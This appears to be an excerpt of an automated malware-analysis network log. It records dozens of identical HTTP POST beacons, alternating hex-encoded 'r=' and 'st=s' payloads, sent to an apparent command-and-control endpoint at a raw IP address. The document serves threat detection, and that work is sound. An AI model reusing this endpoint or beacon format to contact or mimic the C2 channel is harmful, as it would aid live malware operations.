Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
